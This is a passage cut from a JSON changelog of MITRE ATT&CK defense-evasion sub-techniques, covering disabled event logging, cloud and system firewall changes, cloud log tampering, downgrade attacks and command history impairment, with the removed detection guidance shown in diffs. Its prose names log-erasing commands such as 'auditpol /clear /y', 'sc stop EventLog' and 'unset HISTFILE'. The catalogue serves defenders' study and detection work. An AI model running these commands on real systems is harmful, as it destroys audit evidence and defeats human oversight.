T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: auditpol /clear /y or auditpol /remove /allusers.(Citation: T1562.002_redcanaryco)\n\nBy disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1562/002",
"external_id": "T1562.002"
},
{
"source_name": "Disable_Win_Event_Logging",
"description": " dmcxblue. (n.d.). Disable Windows Event Logging. Retrieved September 10, 2021.",
"url": "https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging"
},
{
"source_name": "def_ev_win_event_logging",
"description": "Chandel, R. (2021, April 22). Defense Evasion: Windows Event Logging (T1562.002). Retrieved September 14, 2021.",
"url": "https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/"
},
{
"source_name": "EventLog_Core_Technologies",
"description": "Core Technologies. (2021, May 24). Essential Windows Services: EventLog / Windows Event Log. Retrieved September 14, 2021.",
"url": "https://www.coretechnologies.com/blog/windows-services/eventlog/"
},
{
"source_name": "Audit_Policy_Microsoft",
"description": "Daniel Simpson. (2017, April 19). Audit Policy. Retrieved September 13, 2021.",
"url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/audit-policy"
},
{
"source_name": "Windows Log Events",
"description": "Franklin Smith. (n.d.). Windows Security Log Events. Retrieved February 21, 2020.",
"url": "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/"
},
{
"source_name": "disable_win_evt_logging",
"description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.",
"url": "https://ptylu.github.io/content/report/report.html?report=25"
},
{
"source_name": "auditpol",
"description": "Jason Gerend, et al. (2017, October 16). auditpol. Retrieved September 1, 2021.",
"url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol"
},
{
"source_name": "winser19_file_overwrite_bug_twitter",
"description": "Naceri, A. (2021, November 7). Windows Server 2019 file overwrite bug. Retrieved April 7, 2022.",
"url": "https://web.archive.org/web/20211107115646/https://twitter.com/klinix5/status/1457316029114327040"
},
{
"source_name": "T1562.002_redcanaryco",
"description": "redcanaryco. (2021, September 3). T1562.002 - Disable Windows Event Logging. Retrieved September 13, 2021.",
"url": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md"
},
{
"source_name": "Advanced_sec_audit_policy_settings",
"description": "Simpson, D. et al. (2017, April 19). Advanced security audit policy settings. Retrieved September 14, 2021.",
"url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-audit-policy-settings"
},
{
"source_name": "auditpol.exe_STRONTIC",
"description": "STRONTIC. (n.d.). auditpol.exe. Retrieved September 9, 2021.",
"url": "https://strontic.github.io/xcyclopedia/library/auditpol.exe-214E0EA1F7F7C27C82D23F183F9D23F1.html"
},
{
"source_name": "evt_log_tampering",
"description": "svch0st. (2020, September 30). Event Log Tampering Part 1: Disrupting the EventLog Service. Retrieved September 14, 2021.",
"url": "https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Prasanth Sadanala, Cigna Information Protection (CIP) - Threat Response Engineering Team",
"Lucas Heiligenstein"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Sensor Health: Host Status\", \"Command: Command Execution\", \"Windows Registry: Windows Registry Key Modification\", \"Script: Script Execution\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Creation\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:45.425000+00:00\", \"old_value\": \"2025-04-16 20:37:17.061000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments for commands that can be used to disable logging. For example, [Wevtutil](https://attack.mitre.org/software/S0645), `auditpol`, `sc stop EventLog`, and offensive tooling (such as [Mimikatz](https://attack.mitre.org/software/S0002) and `Invoke-Phant0m`) may be used to clear logs.(Citation: def_ev_win_event_logging)(Citation: evt_log_tampering) \\n\\nIn Event Viewer, Event ID 1102 under the \\u201cSecurity\\u201d Windows Log and Event ID 104 under the \\u201cSystem\\u201d Windows Log both indicate logs have been cleared.(Citation: def_ev_win_event_logging) `Service Control Manager Event ID 7035` in Event Viewer may indicate the termination of the EventLog service.(Citation: evt_log_tampering) Additionally, gaps in the logs, e.g. non-sequential Event Record IDs, may indicate that the logs may have been tampered.\\n\\nMonitor the addition of the MiniNT registry key in `HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control`, which may disable Event Viewer.(Citation: def_ev_win_event_logging)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor processes and command-line arguments for commands that can be used to disable logging. For example, [Wevtutil](https://attack.mitre.org/software/S0645), `auditpol`, `sc stop EventLog`, and offensive tooling (such as [Mimikatz](https://attack.mitre.org/software/S0002) and `Invoke-Phant0m`) may be used to clear logs.(Citation: def_ev_win_event_logging)(Citation: evt_log_tampering) \\n-\\n-In Event Viewer, Event ID 1102 under the \\u201cSecurity\\u201d Windows Log and Event ID 104 under the \\u201cSystem\\u201d Windows Log both indicate logs have been cleared.(Citation: def_ev_win_event_logging) `Service Control Manager Event ID 7035` in Event Viewer may indicate the termination of the EventLog service.(Citation: evt_log_tampering) Additionally, gaps in the logs, e.g. non-sequential Event Record IDs, may indicate that the logs may have been tampered.\\n-\\n-Monitor the addition of the MiniNT registry key in `HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control`, which may disable Event Viewer.(Citation: def_ev_win_event_logging)\"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1022: Restrict File and Directory Permissions",
"M1024: Restrict Registry Permissions",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0012: Script (Script Execution)",
"DS0013: Sensor Health (Host Status)",
"DS0015: Application Log (Application Log Content)",
"DS0017: Command (Command Execution)",
"DS0024: Windows Registry (Windows Registry Key Creation)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0187: Detect disabled Windows event logging"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-06-24 16:55:46.243000+00:00",
"modified": "2025-10-24 17:48:58.515000+00:00",
"name": "Disable or Modify Cloud Firewall",
"description": "Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). \n\nCloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary with appropriate permissions may introduce new firewall rules or policies to allow access into a victim cloud environment and/or move laterally from the cloud control plane to the data plane. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups (or creates new security groups entirely) to allow any TCP/IP connectivity to a cloud-hosted instance.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022) They may also remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\n\nModifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. It may also be used to open up resources for [Brute Force](https://attack.mitre.org/techniques/T1110) or [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499). ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1562/007",
"external_id": "T1562.007"
},
{
"source_name": "Expel IO Evil in AWS",
"description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.",
"url": "https://expel.io/blog/finding-evil-in-aws/"
},
{
"source_name": "Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022",
"description": "Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.",
"url": "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Expel",
"Arun Seelagan, CISA"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"IaaS"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Firewall: Firewall Disable\", \"Firewall: Firewall Rule Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:58.515000+00:00\", \"old_value\": \"2025-04-15 22:19:38.109000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor cloud logs for modification or creation of new security groups or firewall rules.\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0018: Firewall (Firewall Disable)",
"DS0018: Firewall (Firewall Rule Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0424: Detection Strategy for Disable or Modify Cloud Firewall"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-12 13:52:32.846000+00:00",
"modified": "2025-10-24 17:49:23.308000+00:00",
"name": "Disable or Modify Cloud Logs",
"description": "An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable or modify logging to avoid detection of their activities.\n\nFor example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic) They may alternatively tamper with logging functionality \u2013 for example, by removing any associated SNS topics, disabling multi-region logging, or disabling settings that validate and/or encrypt log files.(Citation: AWS Update Trail)(Citation: Pacu Detection Disruption Module) In Office 365, an adversary may disable logging on mail collection activities for specific users by using the `Set-MailboxAuditBypassAssociation` cmdlet, by disabling M365 Advanced Auditing for the user, or by downgrading the user\u2019s license from an Enterprise E5 to an Enterprise E3 license.(Citation: Dark Reading Microsoft 365 Attacks 2021)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1562/008",
"external_id": "T1562.008"
},
{
"source_name": "Stopping CloudTrail from Sending Events to CloudWatch Logs",
"description": "Amazon Web Services. (n.d.). Stopping CloudTrail from Sending Events to CloudWatch Logs. Retrieved October 16, 2020.",
"url": "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html"
},
{
"source_name": "AWS Update Trail",
"description": "AWS. (n.d.). update-trail. Retrieved August 4, 2023.",
"url": "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/update-trail.html"
},
{
"source_name": "Following the CloudTrail: Generating strong AWS security signals with Sumo Logic",
"description": "Dan Whalen. (2019, September 10). Following the CloudTrail: Generating strong AWS security signals with Sumo Logic. Retrieved October 16, 2020.",
"url": "https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/"
},
{
"source_name": "Configuring Data Access audit logs",
"description": "Google. (n.d.). Configuring Data Access audit logs. Retrieved October 16, 2020.",
"url": "https://cloud.google.com/logging/docs/audit/configure-data-access"
},
{
"source_name": "Dark Reading Microsoft 365 Attacks 2021",
"description": "Kelly Sheridan. (2021, August 5). Incident Responders Explore Microsoft 365 Attacks in the Wild. Retrieved March 17, 2023.",
"url": "https://www.darkreading.com/threat-intelligence/incident-responders-explore-microsoft-365-attacks-in-the-wild/d/d-id/1341591"
},
{
"source_name": "az monitor diagnostic-settings",
"description": "Microsoft. (n.d.). az monitor diagnostic-settings. Retrieved October 16, 2020.",
"url": "https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete"
},
{
"source_name": "Pacu Detection Disruption Module",
"description": "Rhino Security Labs. (2021, April 29). Pacu Detection Disruption Module. Retrieved August 4, 2023.",
"url": "https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu/modules/detection__disruption/main.py"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Syed Ummar Farooqh, McAfee",
"Prasad Somasamudram, McAfee",
"Sekhar Sarukkai, McAfee",
"Ibrahim Ali Khan",
"Alex Soler, AttackIQ",
"Janantha Marasinghe",
"Matt Snyder, VMware",
"Joe Gumke, U.S. Bank",
"Arun Seelagan, CISA"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"IaaS",
"SaaS",
"Office Suite",
"Identity Provider"
],
"x_mitre_version": "2.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Cloud Service: Cloud Service Modification\", \"User Account: User Account Modification\", \"Cloud Service: Cloud Service Disable\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:23.308000+00:00\", \"old_value\": \"2025-04-15 22:19:53.826000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor logs for API calls to disable logging. In AWS, monitor for: StopLogging and DeleteTrail.(Citation: Stopping CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: google.logging.v2.ConfigServiceV2.UpdateSink.(Citation: Configuring Data Access audit logs) In Azure, monitor for az monitor diagnostic-settings delete.(Citation: az monitor diagnostic-settings) Additionally, a sudden loss of a log source may indicate that it has been disabled. \"}}}",
"previous_version": "2.1",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0002: User Account (User Account Modification)",
"DS0025: Cloud Service (Cloud Service Disable)",
"DS0025: Cloud Service (Cloud Service Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0289: Detection Strategy for Disable or Modify Cloud Logs"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-21 21:00:48.814000+00:00",
"modified": "2025-10-24 17:48:47.755000+00:00",
"name": "Disable or Modify System Firewall",
"description": "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.\n\nModifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port (i.e. [Non-Standard Port](https://attack.mitre.org/techniques/T1571)).(Citation: change_rdp_port_conti)\n\nAdversaries may also modify host networking settings that indirectly manipulate system firewalls, such as interface bandwidth or network connection request thresholds.(Citation: Huntress BlackCat) Settings related to enabling abuse of various [Remote Services](https://attack.mitre.org/techniques/T1021) may also indirectly modify firewall rules.\n\nIn ESXi, firewall rules may be modified directly via the esxcli command line interface (e.g., via `esxcli network firewall set`) or via the vCenter user interface.(Citation: Trellix Rnasomhouse 2024)(Citation: Broadcom ESXi Firewall)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1562/004",
"external_id": "T1562.004"
},
{
"source_name": "Broadcom ESXi Firewall",
"description": "Broadcom. (2025, March 24). Add Allowed IP Addresses for an ESXi Host by Using the VMware Host Client. Retrieved March 26, 2025.",
"url": "https://techdocs.broadcom.com/us/en/vmware-cis/vsphere/vsphere/7-0/add-allowed-ip-addresses-for-an-esxi-host-by-using-the-vmware-host-client.html"
},
{
"source_name": "Huntress BlackCat",
"description": "Carvey, H. (2024, February 28). BlackCat Ransomware Affiliate TTPs. Retrieved March 27, 2024.",
"url": "https://www.huntress.com/blog/blackcat-ransomware-affiliate-ttps"
},
{
"source_name": "Trellix Rnasomhouse 2024",
"description": "Pham Duy Phuc, Max Kersten, No\u00ebl Keijzer, and Micha\u00ebl Schrijver. (2024, February 14). RansomHouse am See. Retrieved March 26, 2025.",
"url": "https://www.trellix.com/en-au/blogs/research/ransomhouse-am-see/"
},
{
"source_name": "change_rdp_port_conti",
"description": "The DFIR Report. (2022, March 1). \"Change RDP port\" #ContiLeaks. Retrieved September 12, 2024.",
"url": "https://x.com/TheDFIRReport/status/1498657772254240768"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS",
"Network Devices",
"Windows"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Firewall: Firewall Rule Modification\", \"Windows Registry: Windows Registry Key Modification\", \"Command: Command Execution\", \"Firewall: Firewall Disable\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:47.755000+00:00\", \"old_value\": \"2025-04-15 19:58:31.395000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments to see if firewalls are disabled or modified. Monitor Registry edits to keys that manage firewalls.\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1022: Restrict File and Directory Permissions",
"M1024: Restrict Registry Permissions",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)",
"DS0018: Firewall (Firewall Disable)",
"DS0018: Firewall (Firewall Rule Modification)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0145: Detection of Disabled or Modified System Firewalls across OS Platforms."
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--824add00-99a1-4b15-9a2d-6c5683b7b497",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2021-10-08 14:06:28.212000+00:00",
"modified": "2025-10-24 17:49:02.550000+00:00",
"name": "Downgrade Attack",
"description": "Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls. Downgrade attacks typically take advantage of a system\u2019s backward compatibility to force it into less secure modes of operation. \n\nAdversaries may downgrade and use various less-secure versions of features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) or [Network Sniffing](https://attack.mitre.org/techniques/T1040).(Citation: Praetorian TLS Downgrade Attack 2014) For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL), which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)(Citation: att_def_ps_logging)\n\nAdversaries may similarly target network traffic to downgrade from an encrypted HTTPS connection to an unsecured HTTP connection that exposes network data in clear text.(Citation: Targeted SSL Stripping Attacks Are Real)(Citation: Crowdstrike Downgrade) On Windows systems, adversaries may downgrade the boot manager to a vulnerable version that bypasses Secure Boot, granting the ability to disable various operating system security mechanisms.(Citation: SafeBreach)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1562/010",
"external_id": "T1562.010"
},
{
"source_name": "SafeBreach",
"description": "Alon Leviev. (2024, August 7). Windows Downdate: Downgrade Attacks Using Windows Updates. Retrieved January 8, 2025.",
"url": "https://www.safebreach.com/blog/downgrade-attacks-using-windows-updates/"
},
{
"source_name": "Crowdstrike Downgrade",
"description": "Bart Lenaerts-Bergman. (2023, March 14). WHAT ARE DOWNGRADE ATTACKS?. Retrieved May 24, 2023.",
"url": "https://www.crowdstrike.com/cybersecurity-101/attack-types/downgrade-attacks/"
},
{
"source_name": "Targeted SSL Stripping Attacks Are Real",
"description": "Check Point. (n.d.). Targeted SSL Stripping Attacks Are Real. Retrieved May 24, 2023.",
"url": "https://blog.checkpoint.com/research/targeted-ssl-stripping-attacks-are-real/amp/"
},
{
"source_name": "CrowdStrike BGH Ransomware 2021",
"description": "Falcon Complete Team. (2021, May 11). Response When Minutes Matter: Rising Up Against Ransomware. Retrieved October 8, 2021.",
"url": "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/"
},
{
"source_name": "att_def_ps_logging",
"description": "Hao, M. (2019, February 27). Attack and Defense Around PowerShell Event Logging. Retrieved November 24, 2021.",
"url": "https://nsfocusglobal.com/attack-and-defense-around-powershell-event-logging/"
},
{
"source_name": "inv_ps_attacks",
"description": "Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021.",
"url": "https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/"
},
{
"source_name": "Mandiant BYOL 2018",
"description": "Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) \u2013 A Novel Red Teaming Technique. Retrieved October 8, 2021.",
"url": "https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique"
},
{
"source_name": "welivesecurity",
"description": "Martin Smol\u00e1r. (2023, March 1). BlackLotus UEFI bootkit: Myth confirmed. Retrieved February 11, 2025.",
"url": "https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/"
},
{
"source_name": "Microsoft Security",
"description": "Microsoft Incident Response. (2023, April 11). Guidance for investigating attacks using CVE-2022-21894: The BlackLotus campaign. Retrieved February 12, 2025.",
"url": "https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/"
},
{
"source_name": "Praetorian TLS Downgrade Attack 2014",
"description": "Praetorian. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved October 8, 2021.",
"url": "https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Mayuresh Dani, Qualys",
"Daniel Feichter, @VirtualAllocEx, Infosec Tirol",
"Arad Inbar, Fidelis Security"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Linux",
"macOS"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"Process: Process Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:02.550000+00:00\", \"old_value\": \"2025-04-15 19:58:46.929000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for commands or other activity that may be indicative of attempts to abuse older or deprecated technologies (ex: powershell \\u2013v 2). Also monitor for other abnormal events, such as execution of and/or processes spawning from a version of a tool that is not expected in the environment.\\n\\nMonitor for Windows event ID (EID) 400, specifically the EngineVersion field which shows the version of PowerShell running and may highlight a malicious downgrade attack.(Citation: inv_ps_attacks)\\n\\nMonitor network data to detect cases where HTTP is used instead of HTTPS.\\n\\nMonitor executed commands and arguments that may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. Bitlocker can be disabled by calling DisableKeyProtectors and setting DisableCount to 0.(Citation: welivesecurity)\\n\\nMonitor for newly constructed files that may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Adversaries can construct new files in the EFI System Partition.(Citation: Microsoft Security)(Citation: welivesecurity)\\n\\nMonitor for changes made to Windows Registry keys and/or values related to services and startup programs that correspond to security tools such as HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender. HVCI (Hypervisor-Protected Code Integrity) can be disabled by modifying the registry key to 0, allowing the system to run custom unsigned kernel code.(Citation: Microsoft Security)(Citation: welivesecurity)\", \"diff\": \"--- \\n+++ \\n@@ -1,11 +0,0 @@\\n-Monitor for commands or other activity that may be indicative of attempts to abuse older or deprecated technologies (ex: powershell \\u2013v 2). Also monitor for other abnormal events, such as execution of and/or processes spawning from a version of a tool that is not expected in the environment.\\n-\\n-Monitor for Windows event ID (EID) 400, specifically the EngineVersion field which shows the version of PowerShell running and may highlight a malicious downgrade attack.(Citation: inv_ps_attacks)\\n-\\n-Monitor network data to detect cases where HTTP is used instead of HTTPS.\\n-\\n-Monitor executed commands and arguments that may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. Bitlocker can be disabled by calling DisableKeyProtectors and setting DisableCount to 0.(Citation: welivesecurity)\\n-\\n-Monitor for newly constructed files that may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Adversaries can construct new files in the EFI System Partition.(Citation: Microsoft Security)(Citation: welivesecurity)\\n-\\n-Monitor for changes made to Windows Registry keys and/or values related to services and startup programs that correspond to security tools such as HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender. HVCI (Hypervisor-Protected Code Integrity) can be disabled by modifying the registry key to 0, allowing the system to run custom unsigned kernel code.(Citation: Microsoft Security)(Citation: welivesecurity)\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1042: Disable or Remove Feature or Program",
"M1054: Software Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0009: Process (Process Metadata)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0350: Detecting Downgrade Attacks"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-21 20:56:06.498000+00:00",
"modified": "2025-10-24 17:49:05.941000+00:00",
"name": "Impair Command History Logging",
"description": "Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. \n\nOn Linux and macOS, command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. The `HISTFILE` environment variable is also used in some ESXi systems.(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022)\n\nAdversaries may clear the history environment variable (unset HISTFILE) or set the command history size to zero (export HISTFILESIZE=0) to prevent logging of commands. Additionally, HISTCONTROL can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to 